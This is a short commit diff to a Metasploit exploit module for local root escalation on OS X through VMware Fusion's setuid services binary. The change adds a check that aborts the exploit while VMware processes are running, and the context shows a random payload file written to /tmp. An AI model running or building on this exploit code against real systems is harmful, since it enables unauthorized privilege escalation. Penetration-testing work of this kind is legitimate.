Check for running vmware processes first.

Author: jvennix-r7

modules/exploits/osx/local/vmware_bash_function_root.rb

@@ -64,7 +64,15 @@ def check
   end
 
   def exploit
-    osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
+    process_check = datastore['VMWARE_PATH'] + '/Contents/Library/[VO]'
+    processes = cmd_exec("bash -c \"ps ax | grep '#{process_check}'\"").split("\n")
+
+    if processes.length > 0
+      print_error "VMware is already running the following processes:\n " + processes.join("\n")
+      print_error "These processes must be killed before exploiting."
+      return
+    end
+
     payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
     path = '/Contents/Library/Open VMware Fusion Services' # path to the suid binary